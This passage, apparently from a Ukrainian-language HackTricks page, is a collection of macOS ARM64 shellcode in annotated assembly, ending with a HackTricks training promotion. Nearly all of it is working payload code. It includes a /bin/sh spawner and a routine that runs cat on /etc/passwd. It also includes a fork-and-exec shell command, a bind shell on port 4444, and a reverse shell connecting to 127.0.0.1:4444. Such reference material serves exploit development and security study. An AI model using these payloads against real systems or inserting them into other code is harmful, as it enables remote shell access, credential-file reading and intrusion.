.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

Читати за допомогою cat

Мета полягає в тому, щоб виконати execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес).

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Виклик команди з sh з форка, щоб основний процес не був вбитий

armasm
.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Bind shell

Bind shell з https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s на порт 4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Зворотний шелл

З https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell до 127.0.0.1:4444

armasm
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks